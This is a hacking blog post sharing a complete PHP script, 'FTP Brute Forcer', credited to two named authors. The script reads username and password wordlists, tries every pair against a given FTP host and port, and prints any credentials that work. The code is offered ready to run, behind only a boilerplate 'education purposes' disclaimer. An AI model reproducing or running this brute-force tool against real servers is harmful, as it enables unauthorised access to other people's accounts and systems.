All Hacking Tools And Hacking Tutorials Are Only For Education Purposes,..
Showing posts with label Brute Force. Show all posts
Showing posts with label Brute Force. Show all posts

FTP Brute Force PHP Script - FOCSoft

 Hello Friends
              Today I'm Sharing Brute Force PHP Script

function brute_ftp ($h, $p, $user, $pass)
{
        if ($connect = @ftp_connect ($h, $p))
        {
                if (@ftp_login ($connect, $user, $pass))
                {
                        echo "\nCracked : \n\tHost : $h\n\tUsername = $user\n\tPassword = $pass\n";
                        ftp_close ($connect);
                        exit (0);
                }
                else
                        echo "Error with Username \"$user\" & Password \"$pass\"\n";
        }
        else
                die ("Cannot Connect to FTP Host \"$h\" !\n");
}

        echo "
______ ___________  ______            _        ______                     
|  ___|_   _| ___ \ | ___ \          | |       |  ___|                   
| |_    | | | |_/ / | |_/ /_ __ _   _| |_ ___  | |_ ___  _ __ ___ ___ _ __
|  _|   | | |  __/  | ___ \ '__| | | | __/ _ \ |  _/ _ \| '__/ __/ _ \ '__|
| |     | | | |     | |_/ / |  | |_| | ||  __/ | || (_) | | | (_|  __/ | 
\_|     \_/ \_|     \____/|_|   \__,_|\__\___| \_| \___/|_|  \___\___|_|\n\n
      [*]-------------------------------------------------[*]
      [+] Script Name : FTP Brute Forcer                  [*]
      [+] Version : 2.0                                   [*]
      [+] Coded By : Yunus Incredibl + H Damas Sy         [*]
      [+] Contact us :                                    [*]
      [+]    https://www.facebook.com/yunusdfgdfg123155   [*]
      [+]    https://www.facebook.com/hdamas.sy.7509      [*]
      [*]------------------------------------------------ [*]
      \n\tUsage : php $argv[0] host port user.txt pass.txt\r\n\r\n";

if (isset ($argv[1]) && isset ($argv[2]) && isset ($argv[3]) && isset ($argv[4]))
{
        $host = $argv[1];
        $port = $argv[2];
        $userfile = $argv[3];
        $passfile = $argv[4];

        if (!file_exists ($userfile))
                die ("File $userfile not found !\n");

        if (!file_exists ($passfile))
                die ("File $passfile not found !\n");

        $users = explode ("\n", @file_get_contents ($userfile));
        $passs = explode ("\n", @file_get_contents ($passfile));
      
        foreach ($users as $user)
        {
                $user = trim ($user);
                foreach ($passs as $pass)
                {
                        $pass = trim ($pass);
                        brute_ftp ($host, $port, $user, $pass);
                }
        }
}
?>

Stay Updated With Facebook
Please Click Like Button

▼

Receive Free Updates (EMail):

Powered By FOCSoft